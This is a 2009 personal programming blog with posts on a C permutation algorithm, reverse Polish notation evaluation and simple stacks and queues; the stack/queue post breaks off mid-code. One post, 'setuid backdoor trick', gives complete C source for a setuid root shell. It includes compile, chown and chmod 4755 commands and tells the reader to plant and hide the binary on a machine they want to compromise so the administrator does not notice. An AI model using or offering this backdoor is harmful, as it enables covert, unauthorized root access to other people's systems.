## Wednesday, October 21, 2009

### Simple permutation algorithm (lexicographic, i.e output sorted)

Here's a small recursive permutation algorithm in C which returns the permutations in ascending order.
#include <stdlib.h>
#include <stdio.h>

#define MAX 100 /*max number of values to permute*/

int array[MAX];/*value array*/
int visited[MAX];/*array to set a "visit" flag, to see if a value has been previously visited*/
int size;/*number of values to permute*/
int output[MAX];/*output array(contains output values set by permute())*/
int k=0;/*k contains number of visited values at any particular time during permute()*/

int print_output()
{
/*print output array*/
int i;
for(i=0;i<size;i++)
printf("%d ",output[i]);
printf("\n");

}

int permute()
{
/*recursive permutation function*/
int i;
if(k==size)/*if number of visited values reaches "size", it means that we've got a particular combination to output, so we print it*/
{
print_output();
return 0;
}
for(i=0;i<size;i++){
if(visited[i]==0){ /*remove this line(and it's bottom bracket) to obtain combinations too(e.g 1111,1223,etc.)*/
visited[i]=1; /*value visited so set "visit flag"*/
output[k]=array[i]; /*add value to output array*/
k++; /*increase number of visited values*/
permute(); /*recall the same function until k reaches size*/
visited[i]=0; /*already processed, remove "visit" flag*/
k--; /*decrease number of visited values, as we're "unvisiting" previous value*/
}
}

}

int init()
{
/*initialize the array of values to 1,2,3,4,..(u can use other values too which will be permuted, from user input for example)*/
int i;
for(i=1;i<=size;i++)
array[i-1]=i;
}

int main()
{
printf("Enter number of values to permute: ");
scanf("%d",&size); /*input size*/
init();/*initialize the array of values to 1,2,3,4,..(u can use other values too which will be permuted, from user input for example)*/
permute(); /*permute the values in the array(output function implemented inside)*/
return 0;
}

Compile with: gcc permutation.c -o permutation

## Thursday, October 8, 2009

### setuid backdoor trick

You've got physical access to a linux computer you want to compromise, and you can boot from CD.

There are several ways to get root access to the computer through a linux live cd.
One way is to boot the livecd, chroot to the linux partition, then run a "passwd root". Another way is to add your username to the sudoers list in /etc/sudoers on the linux partition.

The problem with these techniques is that they'll leave footprints that are easily noticeable by the administrator because system files are being modified.

A trick is to create a simple backdoor root shell. Then you'll just have to run the program [as normal user] to get root access. The program can then be located anywhere on the linux partition.

setuid is an access right flag which can be set on a binary.
If it is set, then the program will run as root when it is started until privileges are dropped at a certain point in the program, returning to normal permissions.

This was designed in order to allow a program to use "root" access only when it is needed by the program. This migitates the effects that an exploit will have if the program has any security hole.

Here we're exploiting the fact that a normal user can have root access using a binary with setuid set to create a Shell backdoor.

So the steps are:
2. Mount the linux partition with setuid enabled(it's enabled by default)
3. Copy the backdoor to some place accessible by you on the partition.(e.g your home folder)

Here's the source for the tiny backdoor:

//bdoor.c
int main()

{
setuid(0);//set the real,effective,saved uid to 0(root)
setgid(0);//set group id to 0(root)

execl("/bin/sh","sh",0); //execute a shell
return 0;
}
//sniper11

Compile with:
root\$ gcc bdoor.c -o bdoor
Then(binary needs to be owned by root):
root\$ chown root.root bdoor
finally(set the setuid bit):
root\$ chmod 4755 bdoor

You need to compile and do the chmod and chown from your livecd (as root). Then, copy bdoor to your home folder on the target system and you can hide it in any subfolder.

Now, reboot, login as normal user, execute the program to get root access and enjoy XD

as usual, screenshot :): ### Evaluate mathematical expressions using RPN(Postfix/Reverse polish notation)

Have you ever wondered how mathematical expressions are evaluated by programs such as python, bc, etc.? For example (4+3)*6/2*3^2

The answer is Reverse Polish notation(RPN), also known as Postfix notation.

The "normal" way we write mathematical expressions is know as Infix notation:
e.g: (4+3)*6/2*3^2

In RPN, 3+4 becomes 3 4 +
At first sight, this may seem a silly thing to do to put the operator after the arguments, but you'll see how it helps in evaluating mathematical expressions.
There are no brackets '(' or ')' in RPN, the expression is already in a state where the operator precedence(that is, which operation must be carried out first) has been taken into consideration.

So, what we do is convert our expression from Infix to Postfix(RPN), and then evaluate it.

Let's take a concrete example:
We have to evaluate (4+3)*6/2*3^2
The conversion to postfix becomes: 4 3 + 6 * 2 / 3 2 ^ * (conversion is done using the Shunting yard algorithm) As you'll notice there are no brackets in the RPN expression.

To evaluate this expression is very simple:
We first look for the first operator(+/*-^) in the expression (which in this case is +):
4 3 + 6 * 2 / 3 2 ^ *

Now, we look at the 2 numbers just preceding the operator (4 and 3):
4 3 + 6 * 2 / 3 2 ^ *

Then, we evaluate the expression 4+3 and we replace the whole highlighted part by the result:

7 6 * 2 / 3 2 ^ *

Now, we start over again, that is we search for the first operator (in this case *) and again, we evaluate the 2 previous numbers with the operator:

7 6 * 2 / 3 2 ^ *
becomes:
42 2 / 3 2 ^ *

42 2 / 3 2 ^ *
becomes:
21 3 2 ^ *

21 3 2 ^ *
becomes:
21 9 *

and finally,
21 9 *
becomes:
189 (... the result!!)

Here's a small C program I've made which evaluates expressions using reverse polish notation:
http://0x1337.netne.net/rpn.c

Screenshot: It also lists the steps taken during the conversion from Infix to Postfix notation and also how the RPN expression is evaluated. Compile with:
gcc rpn.c -o rpn -lm

## Sunday, October 4, 2009

### Implementing basic stacks and queues in C

So, you're a C programmer, the type of programmer who hates C++ coz it's bloated and now you're working on a simple program.

You suddenly realize that part of your program needs to use a queue or stack data structure and you absolutely don't want to use STL coz you just don't like it(actually, you hate it)

So what do you do?!

A simple solution for a stack is to define an array with predefined maximum size and then use a stack pointer pointing to next empty place on stack:

//Basic stack structure
#define STACKMAX 10000 //maximum size of stack
int stack[STACKMAX]; //stack array
int stackptr=0;//next empty place on stack

void push(int value){
stack[stackptr]=value;
stackptr++;
}

int pop()
{
if(stackptr
>0){
stackptr--;

return stack[stackptr];
}
else
return -1; //assuming -1 is not a possible value
}

It's almost the same for a queue with the exception that 2 indices are used. 1 which points to the head of the queue and one for the tail.

//Basic queue structure
#define QUEUEMAX 10000 //maximum size of queue
int queue[QUEUEMAX]; //queue array

void push(int value){
queue[tail]=value;
tail++;
}

int pop()
{